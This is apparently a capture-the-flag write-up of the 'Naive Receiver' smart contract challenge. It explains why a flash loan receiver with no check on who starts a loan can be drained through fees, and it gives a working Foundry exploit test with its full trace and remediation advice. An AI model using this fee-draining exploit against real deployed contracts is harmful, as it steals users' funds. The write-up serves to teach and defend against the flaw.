Challenge Link to heading
There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)
Analysis Link to heading
The challenge contains two contracts:
NaiveReceiverLenderPool– Lending pool.FlashLoanReceiver– User’s contract for receiveing flash loans.
Same as in the previous challenge, NaiveReceiverLenderPool
inherits ReentrancyGuard and its flashLoan function has the
nonReentrant modifier. So we won’t look for re-entrancy
vulnerabilities. It has the receive function, which allows ETH
deposits. I guess it is needed to set up the challenge. The
fixedFee function is trivial. Let’s have a closer look at the
flashLoan:
function flashLoan(address borrower, uint256 borrowAmount)
external
nonReentrant
{
uint256 balanceBefore = address(this).balance;
if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
borrowAmount
);
if (address(this).balance < balanceBefore + FIXED_FEE)
revert FlashLoanHasNotBeenPaidBack();
}
It takes the borrower and checks that it is a contract address
(not an EOA). You might think it would be better to assume that
msg.sender is a borrower, but they’ve decided the make it a
parameter for some reason 🤔. Next, it ensures that the pool has
enough funds to lend. Then it calls the receiveEther
function transferring the borrowAmount and passing the
FIXED_FEE constant as an argument. Finally, it checks that the
borrowed amount plus the fixed fee has been repaid.
Now, let’s concentrate on the FlashLoanReceiver contract. It
keeps a reference to the pool which is set in the constructor:
address payable private pool;
The receiveEther function checks that the sender is a pool.
Ensures that the contract has enough Ether to repay the
amountToBeRepaid, which is msg.value + fee. Then it executes
the _executeActionDuringFlashLoan and returns funds to the
poll by calling pool.sendValue(amountToBeRepaid).
function receiveEther(uint256 fee) public payable {
if (msg.sender != pool) revert SenderMustBePool();
uint256 amountToBeRepaid = msg.value + fee;
if (address(this).balance < amountToBeRepaid)
revert CannotBorrowThatMuch();
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
The _executeActionDuringFlashLoan function is empty and has the internal visibility.
Notice that the receiveEther function doesn’t check who
initiated the flash loan. It means anyone can request a flash
loan on behalf of the FlashLoanReceiver contract to make it
pay the fee.
Exploit Link to heading
It turns out we can waste all user’s contract funds on flash loans with high fees in a single transaction. To do that we must force it to receive 10 flash loans in a row paying 1 ETH fee each time:
function testExploit() public {
/** EXPLOIT START **/
vm.startPrank(attacker);
uint256 flashFee = naiveReceiverLenderPool.fixedFee();
while (true) {
uint256 flashAmount = address(flashLoanReceiver).balance - flashFee;
naiveReceiverLenderPool.flashLoan(
address(flashLoanReceiver),
flashAmount
);
if (address(flashLoanReceiver).balance == 0) break;
}
vm.stopPrank();
/** EXPLOIT END **/
validation();
}
Here is how the forge’s trace looks like:
$ forge test --match-contract NaiveReceiver -vvvv
Running 1 test for src/test/Levels/naive-receiver/NaiveReceiver.t.sol:NaiveReceiver
[PASS] testExploit() (gas: 187772)
Logs:
🧨 PREPARED TO BREAK THINGS 🧨
Traces:
[187772] NaiveReceiver::testExploit()
├─ [0] VM::startPrank(Attacker: [...])
│ └─ ← ()
├─ [146] Pool::fixedFee() [staticcall]
│ └─ ← 1000000000000000000
├─ [20314] Pool::flashLoan(Receiver: [...], 9000000000000000000)
│ ├─ [9598] Receiver::receiveEther{value: 9000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 10000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 8000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 8000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 9000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 7000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 7000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 8000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 6000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 6000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 7000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 5000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 5000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 6000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 4000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 4000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 5000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 3000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 3000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 4000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 2000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 2000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 3000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 1000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 1000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 2000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [9932] Pool::flashLoan(Receiver: [...], 0)
│ ├─ [7598] Receiver::receiveEther(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 1000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Remediation Link to heading
- In the
NaiveReceiverLenderPool’sflashLoanfunction assume thatmsg.senderis the borrower. - Add authentication to the
FlashLoanReceivercontract.
Notes & References Link to heading
The isContract and sendValue functions come from the OpenZeppelin’s Address library.
For example, the sendValue is implemented like this:
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
Thank you for reading! The complete code is here. Let’s move on to the next challenge – #3 Truster.